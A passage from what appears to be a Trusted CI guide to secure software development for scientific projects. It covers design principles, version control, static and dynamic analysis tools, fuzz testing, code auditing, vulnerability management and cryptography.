We recommend using tools to assess how secure your design is. An example of such tools is the Microsoft Threat Modeling Tool[34]. Threat Modeling tools produce a list of potential problems that need to be mitigated. That list can often include a significant number of false positive warnings that are not really problems in your design. The designer then has to go through the whole list and determine which issues need a mitigation plan.

Approaches

We consider three groups of design principles. The first group guides how we think about incorporating security into our software. The second describes how we put checks into our code to protect it. The third group describes principles for making the code more difficult to attack.

Group 1: How we think about incorporating security into our software.

Transparent Design: The security of your software should be based on its ability to prevent unauthorized accesses and not on some secret about its structure. The opposite of transparent design is unflatteringly called "security through obscurity". While keeping your code design secret – and even making it intentionally complicated, unobvious, or messy – can make the job of the attacker more difficult, it does not guarantee that a well-trained and well-equipped (and patient) attacker cannot ultimately exploit your system. Such code is also more fragile. Once it is broken, the attacker is free to share the secret with anyone.

[34] J. Geib, B. Santos, D. Coulter, Kobulloc, J.W. Howell, M. Baldwin and B. Kess, "Microsoft Threat Modeling Tool", Microsoft, August 2022, https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool

Avoid Predictability: In software, we often generate secrets such as generating session IDs after logging on to a service or website. These secrets are used as proof of identity for short intervals, so that we do not need to go through a full authentication protocol for each access to the server. If these secrets follow an obvious pattern, then they might be guessed, allowing unauthorized access to the server. Randomness is the key to addressing this issue.

Economy of Design: In software, complexity makes it more difficult to find bugs in the code, make the code run fast, and find security flaws. That does not mean reducing a design or piece of code past the point of good sense. For example, putting checks on the return values of every system call and external library call is *essential* to correct and secure operation of software. However, such checks can clutter the code and make it more difficult to read, so there is a temptation to leave off at least some of these checks. This principle can be stated as: do things once, in a common place. For example, if you are going to check authorization for access to a resource, have a single function/method that does this job.

Accept Security Responsibility: Security starts with the decision to include it as a priority element of your software design and implementation. Including security means that you must acquire the skills and spend the time necessary to ensure that security is an intrinsic part of your design. Behind such a decision is willingness to accept the upfront costs for including security. There is great benefit to all these costs. The earlier that a design or coding flaw is detected, the cheaper that it is to fix. And such a robust security program can reduce the number of security events you will face, providing further cost benefits.

Least Common Mechanism: Consider a kernel design with all file handles managed as a common table containing entries for all processes. Least common mechanism says that sharing this table across processes inherently raises the risk of unintended interaction between processes. A bug might easily cause actions of one process to impact the state of another, or leak information between processes. By contrast, if the kernel manages separate file handle tables per process, then that better isolates them and is safer. Web cookies are a least common mechanism because each client stores and provides them to the server so it's not easy for a request to mix up the cookies of different users. When a common component services more than one client, avoid common mechanisms that create potentially connections between peers. Often the implementation involves shared resources, but maintain the separation as much as possible, and prefer the least common mechanism design.

Group 2: Protect the target.

Complete Mediation: The starting point for complete mediation is understanding the attack surface of your software. For a given resource, you need to understand all the paths from the attack surface to uses of that resource. Once you understand all the paths, you need to control them. Well designed software will have a single point that controls access to a resource, for all interactions. Such control is an application of the Economy of Design principle presented earlier.

Defense in Depth: It is commonly said that security should be like an onion, coming in multiple layers. If you somehow break through one layer, there are more layers left to protect you. One approach is to make sure that you check for errors at each possible opportunity. To create defense in depth, we could add layers of protection. At each layer, we do explicit checking to prevent unnoticed errors, which can prevent unnoticed exploits. Of course, the checks at each layer should be independent of each other. Such checking is crucial for several reasons, including:

- You might have missed a corner case with your parameter checking, so a future call might now pass a valid parameter.
- Someone (including you, in the future) might change the method in a way that you did not expect, so that the range of valid parameter values has changed. Since the person making the change might not know every place in the code that calls the changed method, they might not be able to update all the places that call it.
- You might run the code in a new environment, perhaps on a new release of the operating system, so that the notion of what is a valid parameter could change.

Separation of Privilege: The goal of separation of privilege is to require more than one entity to grant permission before an action can be taken.

Group 3: Making the Target Harder to Hit

Least Privilege: A program ideally should run at the lowest reasonable privilege level necessary to do its job. The most obvious example is that a program should not run as “root” or “administrator” unless it needs that all-encompassing level of privilege.

Least Information: The idea is that you should only access the information that you need to do your job. If you do not have access to other information, you cannot accidentally leak it or inappropriately modify it.

Secure by Default: We should always think about the failure cases when we write code. All programs have flaws, so we want to write software that minimizes the effect of such flaws. An example that we have repeatedly seen is in a function that validates a user name and password on the server. We have often seen this function written with first line of code something like:

```
login = TRUE;
```

where the rest of the function checks the user name and password against the values in the database, setting the variable to `FALSE` if they do not match. This code is inherently fragile because if there are any unforeseen errors (and there usually will be), then such an error will inadvertently cause the function to return `TRUE` when it is not appropriate to do so. Simply reversing the logic – starting with a value initialized to `FALSE` and only setting it to `TRUE` if all login conditions are satisfied – is much less error prone. And, if there is an error, it is likely to cause less serious outcomes.

Learning Resources

Introduction to Software Security videos, text chapters, and exercises:

- Secure Design Principles: Module 2.1
- Threat Modeling Overview and Goals: Module 2.2

4.4 Source Code Storage and Distribution

The Need

Maintaining the control and integrity of the code for any project is paramount. Code is constantly changing, through updates and fixes, and we want to have this happen in a smooth, controlled fashion that can be easily reviewed for provenance information. This requires that both past and present code be preserved and stored in a trusted manner, and that changes happen only from the input of authorized users. Moreover, changes should only be incorporated into the main body of the code after they have been reviewed for the inadvertent introduction of bugs or security issues.

Without control over changes to the code, untrusted users may be able to insert malicious changes. Once a foothold into the code is established, there are several avenues that are usually exploited to cause further harm to the project responsible for the code or the other users of the code. These range from data exfiltration (passwords, accounts, tokens, cryptocurrency wallets, certificates, personally identifiable information, and internal documents) to lateral movement within the organization.

How a project manages distribution of its code has implications for the users of the code as well. Those who are dependent upon the code rely on it to be reliable and stable as well as being free of errors and security issues. The distribution method needs to support reliable software updates that fix errors and security issues when they are discovered without breaking existing functionality.

Obstacles

For projects without strong software development support, this area can be particularly challenging. For instance, learning a revision control system can be perceived as too high of a learning curve, requiring too much of an upfront investment. Team members may struggle to get into the mindset of keeping the repository up-to-date with regular commits and then struggle with difficulties merging their changes, leading to a negative cycle where commits are perceived as arduous and thus continue to happen irregularly. A lack of knowledge on how to use branches to manage parallel development efforts can also create challenges.

Even projects supported by staff with a strong background in good coding practices may find addressing all parts of this to be an unnecessary demand on already limited time if they lack an understanding of the long term benefits to the project and its user base. This is particularly true if the initial time to create and document a workflow has not been invested and the approaches are attempted in an ad hoc, individual manner rather than holistically.

Approaches

Centralized repository and versioning control system. A centralized repository creates a single authoritative source for the code base, including reliable backups to protect against losing code that is stored only on one developer's computer. Using a version control system for this repository allows all changes to be accounted for, including the author of the change and when the change occurred. It also provides methods for changes to be reviewed prior to the code being updated. The administrators must ensure that no passwords, tokens, or keys are accidentally committed.

Git is now the most widely used source-code management tool.[35] The Git repository can either be locally hosted or provided as a cloud service. GitHub is one commonly used example of the latter.

Authentication and authorization. The centralized repository should only allow changes by authorized users, authenticated using multi-factor authentication.

Code branches and release versions. Users of the code, whether internal to the project or external, need to be assured of stability of the code. This is accomplished by keeping code in development separate from production-ready code by way of branches and releases. Software developers should commit code to separate working branches until sufficient testing has been done on the changes. Then, these branches should be merged into the main code base as a new release, identified through a version change. A changelog of what was modified should also be made available with each new release.

[35] "Git", Wikipedia, https://en.wikipedia.org/wiki/Git#Adoption

Separate security from feature releases. Additionally, new versions that address security issues should be published separately from versions that introduce new features or otherwise update the functioning of the code. This can decrease hesitation around updating by allowing users to keep their software up-to-date while otherwise staying with a version of code that is known to work for their setup.

Learning Resources

- https://git-scm.com/doc
- https://docs.github.com/en
- https://git-school.github.io/visualizing-git/

4.5 Software Analysis Tools

The Need

Software analysis tools provide an immediate and direct aid to help you find flaws in the program that might lead to crashes, incorrect results or even security vulnerabilities. These tools are an essential part of every programmer's workflow. While they cannot find every security problem in your code[36], they provide an essential and easy path to increasing the security of your software. They also can provide immediate feedback to a programmer during software development, increasing programmer awareness of basic security issues.

These tools come in a variety of forms:

Dependency (known vulnerabilities): Dependency analysis tools identify which libraries, packages, or modules are used by your program and then look up in public databases (such as the National Vulnerability Database, NVD[37]) or proprietary databases (such as maintained by Snyk[38]) to see if there are previously disclosed vulnerabilities in the versions of the libraries, packages, or modules used by your code. This list of dependencies can be thought of as your software bill of materials (SBoM).[39] **Dependency tools are often the easiest and best place to start to use analysis tools.**

Static: Static analysis tools (often called "SAST") scan a program's source, byte, or binary code in the search of stylistic problems or mistakes that we call *weaknesses*. Most static

[36] Adam Shostack and Mary Ellen Zurko, "Secure Development Tools and Techniques Need More Research That Will Increase Their Impact and Effectiveness in Practice", *Communications of the ACM* **63**, 5, May 2020. DOI 10.1145/3386908.
[37] National Vulnerability Database, https://nvd.nist.gov/.
[38] Snyk Intel Vulnerability Database, https://snyk.io/product/vulnerability-database/.
[39] National Telecommunications and Information Administration, Software Bill of Materials, https://www.ntia.gov/SBOM.

analysis tools will include both stylistic and code analysis reports. These tools address weaknesses in the code that you write. **Static analysis tools are a natural second step in tool use.**

Dynamic: Dynamic analysis tools (often called "DAST") monitor a program's execution to detect execution-time errors. **Dynamic analysis tools can be the most complex to use and are a good resource to use once you have incorporated dependency and static analysis tools into your project's software development workflow.**

Obstacles

Lack of awareness: You need to be aware that these tools exist and can contribute to the reliability and security of your code. In each category, there are multiple tools, often with tools specific to a particular programming language. There are often open source and commercial tools. Note that the commercial tools are not always the best. For static analysis tools for C and C++, the commercial tools typically provide better results than the open sources tools. For static analysis tools for Java, there are open source tools that are as good or better than the commercial tools. For dependency analysis tools, depending on the language

Set up effort (and perceived effort): The installation of a tool can often be more challenging than expected. Open source tools often come with incomplete instructions and commercial tools can require the setup of a database or control server. Dynamic tools must integrate with the code build process or execution environment, so can take additional effort to use.

Understanding results: Each type of tool and each tool of a given type has a different form of output. Dependency tools have the simplest output, just a list of problematic dependencies. Static analysis tools can include hundreds of different kinds of reports, often with quite technical descriptions, so can be intimidating on first use. Dynamic analysis tools can produce similarly intimidating reports.

False positives: One of the biggest complaints about static code analysis tools is that they generate false positives. Since no widely used tool is currently sound,[40] the reports produced by any tool, open source or commercial, can be an over approximation of the actual problems to be found. Such "noise" in the results can frustrate programmers on their initial use of a tool, especially on code bases where no tool has been previously used.

[40] *Soundness* is a mathematical property that means that anything that a tool reports as a weakness in the code is provably a weakness (so no false positives). There is also a property called *completeness* that means you report all weaknesses that are present (no false negatives).

Approaches

General: An organizational or managerial mandate can be important to influence general use of analysis tools. Often programmers need a push to get them to adopt a new development practice. The long term benefit can often be seen as secondary to short term deadlines. A centralized support team at the organizational level or a mentoring group of experienced programmers within the development team can provide the impetus to wider acceptance of these tools. In addition, shared installation and update of the tools can reduce the burden on each programmer.

Simplifying the task of using tools is the trend toward tool integration with code repositories such as GitHub or IDE environments such as Eclipse. The more tightly the tool is integrated into the software development cycle, the most likely it is to be used.

Some organizations require code to undergo review before a commit to the shared repository. Such a review (and therefore commit) can include the required use of one or more tools.

In the same way that an organization or development team can provide support or mentoring in tool use, they can also provide the same resources for understanding tool output. Responding to the output of a tool can be confusing and intimidating to the new user. A small amount of hand-holding can be an effective way to reduce resistance to tool use.

Dependency Tools:

The easiest tools to use are those integrated with the code repository as they are run automatically. An integrated tool, such as Dependabot integrated with GitHub, is a great way to get started, and often the integrated tool is as effective as a commercially purchased tool. However, the effectiveness of a given tool can depend on the language to which it is applied.

Static Stylist Analysis Tools:

An organization will often enforce a coding standard to make coding more understandable, avoid error prone practices, and to give the code a more uniform look. Most static analysis tools include both stylistic and code analysis features. Programmers in a scientific environment will often balk at stylistic coding requirements.

Static Code Analysis Tools:

A wide variety of weaknesses can be detected with current static code analysis tools and these tools provide a major source of useful feedback to programmers about the code that they are developing. These weaknesses found by such a tool include buffer overruns, injections, cross site scripting, cross site request forgery, memory leaks, improper input validation, path traversal errors, hard coded credentials, serialization errors, and many others. While tools cannot detect all occurrences of weaknesses, they can find many that go unnoticed by the programmer. These tools typically require that your code will compile but not necessarily execute. As these tools report potential problems by looking at the code, they are subject to false positives.

It is best to incorporate static analysis tools (both stylistic and code analysis) into your development process from day one. Such an approach means that the programmer will be confronted with few reports at a time, allowing them to be quickly evaluated and dealt with by either fixing them, formally noting them as issues to be addressed in the future (technical debt), or marking them as false alarms.

To incorporate tools into a project with an existing code base is more intimidating as it can suddenly produce a huge number of reports of possible weaknesses in the code that need to be evaluated. Confronting so many reports at once will often discourage a development team from adopting the use of analysis tools. A proven technique for overcoming this hurdle is:

> **On each commit** to the code repository, require the programmer to reduce the number of reports in the code **by at least one**.

Such a strategy is effective for three reasons: (1) It is a small enough burden that programmers will readily accept it. (2) It is monotonically decreasing. Every commit will lessen the number of reports. And, with the frequent small commits of the modern development cycle, there will be a lot of opportunities to do this. (3) Once a programmer starts fixing one of these reports, by nature, they cannot resist fixing a few more. It is likely that they will fix a handful before they get bored or distracted in this task. Overall, it might take only a few months to end up with a code repository that is clean of reports.

A useful resource for identifying a static analysis tool for the languages that you are using is the GitHub curated list of tools.[41]

Dynamic Analysis Tools

[41] GitHub curated list of static analysis tools: https://github.com/analysis-tools-dev/static-analysis

Dynamic code analysis: Dynamic tools test your program while it is running. They may do scanning such as scanning your web server for configuration errors or they may monitor your program's execution to detect if it has any execution errors such as an array reference or pointer access out of bounds. These tools require that your program is able to run and that you have reasonable test input. They might require that your program be built with a special compiler or options.

A useful resource for identifying a dynamic analysis tool for the languages that you are using is the GitHub curated list of tools.[42]

4.6 Fuzz Testing

The Need

Fuzz random testing, sometimes called "fuzzing", is a standard and foundational part of any tester or analyst's toolkit. This is a testing technique with which every programmer should be familiar.

Basic fuzz testing is extremely simple: just feed random input to your program and see if it crashes or hangs (stops responding to input). Think of it as randomly exploring the program's state space to see if you can cause any unexpected behaviors. These behaviors might include reading or writing outside the valid range of a data structure, causing the program's internal variables to be in an inconsistent state, or performing calculations on values that exceed the expected range. Fuzz testing is not a replacement for other forms of functional testing however it is a good way of finding bugs.

Note that security analysts will often use fuzz testing when they first approach a software system. If the random test input can cause a crash in the system, that indicates that the system can be driven into a state that the programmer did not intend. At that point, the analyst will then try to shape the input in such a way that they can take control of the program without crashing it. This approach is often quite effective.

Obstacles

Fuzz testing is easy to use, easier than most testing techniques, so there is little reason to not use it. Nevertheless, there are a couple of things that might dissuade a programmer from using this technique. First, it can take some time and experimenting, when using some fuzz testing tools.

[42] GitHub curated list of dynamic analysis tools: https://github.com/analysis-tools-dev/dynamic-analysis

Second, many of the modern tools for fuzz testing can run for a long time, even for several days. Understanding how long to let the tool run can take a bit of experience.

The fuzz testing tool can cause the application to crash or hang when run with a specific input. Once the tool has produced an input that can crash the program, the developer can then use this input to reproduce the problem, and find out where in the code the problem lies. This step is based on standard debugging techniques that every programmer knows.

We can measure the effectiveness of a testing technique by how much of the code in a program gets exercised by the tests. This measure is called "code coverage". Fuzz testing, being random, does not give you any guarantees about code coverage. There are a variety of approaches to help cover more of a program's code when performing fuzz testing. These approaches include

Selecting good initial inputs to the program, to help guide the execution into different parts of the program's logic.

Structuring the test input so that part of it is known to be valid and randomly varying only parts of the input ("structured" fuzz testing).

Using knowledge of the internal structure of the program and where it is executing in the code when being tested, to guide the selection of the next part of the input ("gray box" or "white box" testing).

Fuzz testing is attractive because you use the simple crash/hang model of correctness, which means that verifying whether a test succeeded or failed (the test "oracle") is quite simple. However, using such a simple specification means that many incorrect behaviors may go undetected.

Approaches

There are several categories of fuzz testers. The first category is structured vs. unstructured input. Unstructured input is just a random stream of byte values. Structured input, on the other hand, tries to take into account the required input syntax and varies the contents of the information in the input fields within the valid syntax. Of course, unstructured input is the simplest type to generate. The motivation to use structure input is to try to test "deeper" into a program's logic.

A second category for fuzz testing is generation vs. mutation testing. With generational fuzz testers you construct each new random test input from scratch. Mutation fuzz testers start with an existing input, often a valid one, and then mutate it – i.e., modify it in some random way – to generate the next test input.

The last category of fuzz testing is based on how much the tool knows about the structure of the program that you are testing. With *black box* testing, you know nothing about the structure of the program; you just feed it inputs and see whether it crashes or hangs. A *gray box* tester tracks which parts of the program have been tested. This means that you need to instrument the code, by modifying the source or binary, to track which parts of the program were executed. The tester does not understand the functionality of the program but does track what parts got executed. If you analyze the program structure and functionality, you can track how the program executed. For example, you can track the if-statements in the program to see if a given input followed the true or false path, and then modify the input to try to explore the other path. This kind of testing is called *white box* testing.

American Fuzzy Lop (AFL) is an example of a modern coverage-guided fuzz tester. It is mutation-based, gray box, and unstructured. Let's explain that: First, AFL starts with a set of programmer-provided inputs and then mutates them to produce test inputs. Second, it is gray box, in that it uses information about what parts of the program have executed to control the selection and mutation of the test inputs. Third, it is unstructured in that it has no knowledge of what comprises a properly formatted input. The combination of these categories is often called "coverage guided testing".

From a high level, we can talk about AFL's inputs and outputs. The basic input is, of course, the program to be tested. In addition, you have to provide one or more initial inputs (called *seeds*) that will be used to generate other inputs. The outputs are a list of crashes and hangs, along with the input that caused the crash or hang.

The current version of AFL under development is called AFL++[43]. Note that there are a wide variety of fuzzers derived from AFL. Other frequently used fuzzers include libfuzz[44] and HongFuzz[45]. Google's free platform for open source fuzzing, supporting AFL++ and HongFuzz.

Learning Resources

Introduction to Software Security videos, text chapters, and exercises:

- Introduction to Fuzz Testing: Module 7.1
- Classic Fuzz Testing Section 1: Background: Module 7.2.1
- Classic Fuzz Testing Section 2: Command Line Studies: Module 7.2.2
- Classic Fuzz Testing Section 3: GUI-Based Studies: Module 7.2.3

[43] https://github.com/AFLplusplus/AFLplusplus
[44] https://llvm.org/docs/LibFuzzer.html
[45] https://honggfuzz.dev/

- Classic Fuzz Testing Sections 4 & 5: Other Studies, Commentary: Module 7.2.4
- Fuzz Testing with AFL: Module 7.3

4.7 Code Auditing

The Need

Software systems are complex, and debugging is not enough to make sure that a system will work as intended under every circumstance. Code auditing, or in-depth vulnerability assessment, is a key part of securing software systems, and it must be part of the normal software development lifecycle.

During the software development lifecycle security needs to be addressed at different stages: at design time (see Section 3.6) you should think about the potential threats affecting your system, and get the help from tools such as the Microsoft Threat Modeling tool. However, even with a secure design, there is no guarantee that the resulting implementation will not be vulnerable. The resulting system may not exactly implement what was designed, or it could simply contain programming mistakes.

At implementation time you need to take into account the security problems explained in Section 3.3, and program defensively. We recommend using automated assessment tools during development to reduce the number of security issues affecting your code (see Section 4.5). Once the system is ready to be deployed it is recommended to use penetration testing tools to find security issues on your system. Penetration testing tools are automated, and as such have limitations. A manual in-depth vulnerability assessment goes beyond and is needed to find vulnerabilities not caught earlier in the software development life cycle, nor found by pen testing tools.

Note the new AI-based coding systems, such as ChatGPT, can construct parts or whole programs based on a dialog with the AI system. Such automatically generated code is only as good as the sources used by the AI system. Users of such a coding system have no idea as to the quality of the code or its correctness. **As a result, AI-generated code requires the same level of review and auditing as human-generated code**. An interesting question that remains to be answered is whether the types of bugs present in AI-generated code differ in any qualitative way from those in human-generated code.

Obstacles

Manual assessment is a labor-intensive activity, therefore it is expensive.

Code auditing must be an independent activity, performed by analysts separate from the software development team.

Analysts trained to do this kind of assessment are hard to find.

You need access to the source code, documentation, and, when possible, the developers.

Approaches

A well established and non-proprietary approach to vulnerability assessment is *First Principles Vulnerability Assessment* (FPVA), a primarily analyst-centric (manual) approach whose aim is to focus the analyst's attention on the parts of the software system and its resources that are mostly likely to contain vulnerabilities that would provide access to high-value assets. In addition, with this methodology, the analyst will find new threats to a system, as it is not dependent on a list of known threats.

Rather than working from known vulnerabilities, the starting point for FPVA is to identify high value assets in a system, i.e., those components (for example, processes or parts of processes that run with high privilege) and resources (for example, configuration files, databases, connections, and devices) whose exploitation offer the greatest potential for damage by an intruder. From these components and resources, the analyst works outward to discover execution paths through the code that might exploit them.

FPVA starts with an architectural analysis of the source code, identifying the key components in a system. It then goes on to identify the resources associated with each component, the privilege level of each component, the value of each resource, how the components interact, and how trust is delegated. The results of these steps are documented in clear diagrams that provide a roadmap for the last stage of the analysis, the manual code inspection. After these steps comes the code inspection of the critical parts of the code.

Learning Resources

https://research.cs.wisc.edu/mist/papers/ccsw12sp-kupsch.pdf

https://research.cs.wisc.edu/mist/papers/VA.pdf

Introduction to Software Security videos, text chapters, and exercises, https://research.cs.wisc.edu/mist/SoftwareSecurityCourse/:

- Introduction to FPVA, First Principles Vulnerability Assessment: Module 5.1
- FPVA Step 1: Architectural Analysis (part 1): Module 5.2
- FPVA Step 1: Architectural Analysis (part 2): Module 5.2
- FPVA Step 2: Resource Identification: Module 5.3
- FPVA Step 3: Trust and Privilege Analysis: Module 5.4

4.8 Vulnerability Management Process

The Need

Projects need some way of recording, tracking, and addressing issues found in the code base. These projects include both those with an external user base and those aimed solely at internal use.The tracked issues include general bugs and ones that could cause security vulnerabilities. Standardized and published processes are required for two-way communication flow between the project and the users, first, for the project to accept input from the users on issues, and second, for the project to relay back to the users when and how these issues are being addressed.

With an ad hoc process, or no process, vulnerabilities may not be handled in a timely fashion or at all. Users discovering an issue may give up after not finding a way to report the problem or may publicly disclose security issues in an undesirable manner. Without a formal announcement process, users may miss patching their systems with needed security updates. Both of these increase the odds of bad actors exploiting issues in the wild.

Obstacles

Project size. Developing a process requires an upfront commitment. Projects that begin organically may believe they have not become big enough to require a vulnerability management process, and that an ad hoc one suffices.

Time. Established channels require monitoring for input as well as time to evaluate reported issues and determine whether reported issues represent true positives. Communicating the status of issues also requires time.

Accountability. Management within the project may mistakenly believe that reporting on security issues and fixes makes the project look bad because it shows that issues occur. In reality, experienced software developers understand that all projects have issues and a standardized and transparent way of handling them is a sign of a competent and well-run security program.

Approaches

At minimum, projects must address four separate needs: accepting input from users (internal and external) about issues, processing that input, communicating with users about progress on outstanding issues, and communicating about fixed issues. Often, a single solution can handle more than one of these.

Accepting input may be as simple as publicly posting a form or an email address to the project's website, and ideally providing a PGP key for the latter should users wish to encrypt potentially sensitive submissions. This email address should be unique for vulnerability submissions and should be sent to multiple members of the team or directly into a ticket queue for processing.

Alternatively, a public facing issue tracking system such as the one built into GitHub or a standalone system such as Redmine may be used. This can be used to address the second and third needs as well -- processing the input for validity and communicating with users about how their submitted issues are being addressed. Ideally, these types of systems should interface with the code repository itself, so that particular branches or code releases addressing the issues can be linked.

Regardless of what kind of technology or flow is used to implement input and communication processes, special care needs to be taken to keep critical security issues private until the project is ready for them to be made public. Although responsible security handling requires public disclosures, this may be delayed to provide a solution for addressing problems prior to them being announced.

Finally, the project should make it easy for users to stay up-to-date with security fixes through a variety of means. Users should be encouraged to subscribe to a mailing list for critical project announcements and this should be used to notify them of updates in a timely manner. New releases should also be announced in a highly visible part of the website.

Learning Resources

Managing Repository Security Advisories for Vulnerabilities in Your Project, https://docs.github.com/en/code-security/security-advisories

Introduction to Software Security videos, text chapters, and exercises, https://research.cs.wisc.edu/mist/SoftwareSecurityCourse/:

- The Manager's Point of View: Responding to a Vulnerability: Module 5.7

4.9 Secure Cryptography

The Need

Cryptography can help protect the confidentiality and integrity of data. Ignoring encryption, in other words transporting data or storing it at rest unencrypted can result in data being tampered with or viewed by unauthorized individuals. Any standard TCP/IP or WiFi connection can be monitored using free software tools. If the connection is unencrypted WiFi, such as at a hotel or coffee shop, then anyone within broadcast distance can listen to the conversation. Data transmitted over such unencrypted connections would be viewable as clear text.

However, writing cryptographic code is hard — it takes years of peer review before it can be trusted — and one mistake can lead to exposing confidential information or having a cryptographic hash fail. Similarly, an error in implementing cryptography can result in the same failures that bypass the protection and trustworthiness that cryptography provides.

Obstacles

Cryptographic naivete. The primary obstacle in using/implementing cryptography is ignorance; if you do not know how to leverage its utility then it may be too daunting to use. Even small mistakes like uploading a symmetric or private key to a repository can completely defeat the benefits of cryptography.

Resource consumption. Cryptographic functions can be compute-intensive and thus may be shunned in some environments such as in sensor devices and scientific computing. Encrypting large data sets like astronomy data may consume valuable resources.

Approaches

Find cryptographic enlightenment: Lack of knowledge in the use of cryptography can be addressed through documentation and training. Nearly all programming languages and development environments provide implementations of cryptographic functions, and training materials, both written and video, exist to educate the programmer in their chosen language.

Be careful where you store your keys: An attacker may find a copy of a key when it is mistakenly placed alongside the data it is protecting. Key data may end up in memory that is readable, such as via attacks such as the Heartbleed attack[46] or if a system swap memory file that is mistakenly made world readable. Attackers also scan public resources such as `github.com` to find cryptographic keys that are mistakenly included in source code repositories. Sometimes the key is removed, but still exists in the history of the repository without having been changed in the live implementation.

Be careful how you create your keys: Keys that are not of sufficient length can be broken by harnessing enough computational power. A motivated and well-resourced attacker can use additional computing power to gain an advantage against cryptography. For instance, a

[46] "The Heartbleed Bug", Synopsis, June 2020, https://heartbleed.com/

nation-state may use a supercomputer and almost any user can harness cloud resources for such attacks.

Stay current: Many of the cryptographic algorithms commonly used in the past, such as DES or SHA-1, are considered to be weak due to increases in computing power. It is reasonable to assume that current algorithms will become ineffective over time and data encrypted now may be able to be cracked using more advanced computing power in the future.

Resource consumption: Cryptography's dependence on resources is more thorny to remediate. Indeed, hardware-accelerated cards have been used to assist cryptography, but in lieu of dedicated hardware, the key is to use cryptography efficiently. For example, do not encrypt extremely large files. If the data is confidential, ensure that it is protected via access control, or encrypt it in chunks. But as evident by web browsers' adoption of secure connections via SSL/TLS, modern CPUs are sufficient for most applications of cryptography.

Don't roll your own crypto! It is imperative that unless you are a cryptography expert that you do not attempt to write your own cryptographic functions. Cryptography is a mathematically challenging subject and it takes a great deal of time before any newly developed cryptographic algorithm and implementations can be trusted. A developer trying to create their own cryptographic algorithm is at risk of not addressing many of the common vulnerabilities that well-vetted and accepted cryptographic algorithms have had to test against. The cybersecurity industry has a warning against the practice of trying to develop your own cryptographic algorithm with the phrase "Don't roll your own crypto." Cryptographic algorithms accepted by the information security community go through a lengthy evaluation process that lasts on average 15 years from the time the algorithm is first published. This time frame is to allow for the cryptographic community time to vet the quality of the algorithm for the purpose of securing data. Because writing a cryptographic algorithm is not for the faint of heart and there are many factors that must be taken into account, it is never recommended that a developer write their own algorithm for their own immediate needs.

5 Conclusion

We close this guide with three final thoughts on the changing threat landscape, commonalities with the broader community, and the need for grounding the advice within a project's mission and purpose.

Changing threats: As the threat landscape is ever evolving, so too is the need to address new concerns. Innovations in software development also continue to make software security a moving target. Time limitations prevent us from doing more than enumerating some of today's hot topics, but much more could be written on the intersection of security with dev-ops and agile methodologies, containers, and cloud technologies. These will continue to show both promise and peril, and we anticipate new best practices will continue to emerge in the years to come.

Community: All the threats and best practices covered in this guide apply to software projects in general, not just those serving scientific projects. In this sense, scientific projects are in good company with a much broader community: the need for secure software development is a common one. This can be a benefit when looking for resources, but the wealth of information available can also be overwhelming and intimidating, particularly when the information most readily available seems to be at the wrong level of expertise.

Grounding: As mentioned previously, this guide was written by Trusted CI in the context of the Framework,[47] and as such it should be used to address software security within the context of a wider security program developed and maintained by a project. We highly recommend the Framework Implementation Guide as additional background reading.

The first requirement of that framework states, "Organizations must tailor their cybersecurity program to the organization's mission… A cybersecurity program exists to support its organization's mission." Any takeaway actions from this guide should be grounded in that same sentiment. Although threats do not discriminate, a project's response to them should be adapted to and implemented in the context of the mission of the organization.

Like security in general, software security does not exist within a vacuum. It should exist to support and further the goals of its parent organization. Ultimately, its purpose is to provide an answer to projects asking the question of how to securely develop, use, and distribute scientific software.

[47] Trusted CI Framework. https://www.trustedci.org/framework